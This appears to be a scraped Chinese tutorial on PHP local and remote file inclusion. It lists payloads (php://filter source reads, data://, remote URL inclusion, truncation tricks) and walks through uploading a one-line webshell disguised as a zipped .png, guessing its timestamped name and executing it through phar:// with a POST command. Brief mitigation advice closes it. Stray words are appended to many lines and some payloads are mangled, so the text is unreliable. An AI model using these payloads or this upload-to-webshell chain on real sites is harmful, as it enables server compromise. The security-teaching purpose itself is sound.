include、require等先關函數,include($file)php
文件包含漏洞的問題在於參數可控(路徑、文件名、後綴) include($path.$filename.$ext)
html
*.php
?file=php://filter/convert.base64-encode/resource=index.php
allow_url_include&&allow_url_fopen=Off
file=\\192.168.1.1\share\xxx.php
?file=data://text://text/plain,base64,SSBsb3ZIFBIUAo=
?file=[http|https|ftp]://xxx/file
?file=http://xxx/xss.php?xss=phpcode
?file=[http|https|ftp]://xxx/file.txt[?|%23]
index.phpmysql
index.php中存在如下包含代碼,能夠包含一個.inc結尾的文件。此時咱們能夠考慮使用僞協議進行繞過。web
phar://sql
Phar歸檔最好的特色是能夠方便地將多個文件組合成一個文件。所以,phar歸檔提供了一種方法,能夠將完整的PHP應用程序分發到單個文件中,並從該文件運行它,而不須要將其提取到磁盤。此外,PHP能夠像執行任何其餘文件同樣輕鬆地執行phar歸檔,不管是在命令行上仍是在web服務器上。shell
lib.php數組
lib.php中已經對上傳文件後綴作了嚴格的限制,可是並未對文件內容進行檢測。緩存
function is_pic( $file_name ) { $extend =explode( "." , $file_name ); $va=count( $extend )-1; if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) { return 1; } else return 0; }
搜索php處理上傳文件的代碼$_FILE
,找到代碼位置,分析上傳邏輯。bash
全局搜索,判斷是否只是經過session讀取文件,並不會輸出文件路徑。搜索$_SESSION['avatar']
服務器
avatar.php:
從以上代能夠看出並未對文件路徑進行輸出,可是使用了
file_get_contents
函數讀取了文件的內容。也就是說,當咱們經過僞協議讀取一個包含了php代碼的壓縮文件時,其中的php代碼將會被執行。可是,若是想實現上述構想,就須要先獲取到文件名中的時間戳。當咱們上傳圖片時,響應包中將會記錄上傳操做的時間,咱們能夠將該時間轉換爲時間戳,該時間戳通常會和上傳文件名中的時間戳相差不大。
if(is_pic($_FILES['upfile']['name'])){ $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];
咱們先準備一個一句話腳本,將其後綴改成inc,而後將inc文件打包爲zip,而後再將後綴改成png。 這樣咱們的上傳文件就製做好了。 v.php-->v.inc-->v.zip-->v.png
上傳文件,同時開啓F12查看響應包信息,咱們想要的是響應包中的DATA字段的信息。
ache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Connection: Keep-Alive Content-Length: 0 Content-Type: text/html Date: Fri, 10 Apr 2020 13:14:12 GMT Expires: Thu, 19 Nov 1981 08:52:00 GMT Keep-Alive: timeout=5, max=100 Location: edit.php Pragma: no-cache Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02 X-Powered-By: PHP/5.4.45
解密時間戳
將上傳響應包中的DATA字段內容,放入下列腳本中便可轉換爲時間戳。
咱們能夠查看uploads中的文件名,對比一下兩個的時間戳。兩個是相同的,固然在大多數狀況下兩個時間可能會存在少量的誤差,此時就咱們能夠經過遍歷最後一位或最後兩位,通常就能夠找到正確的時間戳。
1586524452 u_1586524452_1.png
而後咱們就能夠使用僞協議進行文件包含了。使用phar來打開壓縮包僞圖片u_1586524452_1.png,而後讀取其中的1.inc文件內容。
phar://uploads/u_1586524452_1.png/1.inc
訪問如下連接便可解析php內容:
http://www.code.com/index.php?module=phar://uploads/u_1586524452_1.png/v
POST:
cmd=phpinfo() 嘗試解析phpinfo(),能夠成功解析,使用shell管理工具也能夠成功鏈接webshell,說明咱們成功包含了文件。
因爲已經規定了須要包含文件的後綴爲.inc,所以能夠從限制文件路徑和文件名兩個方面進行考慮。能夠定義一個數組,只容許包含該數組內已存在的文件的內容。或者限制文件包含的路徑,一樣只容許包含部分路徑的文件。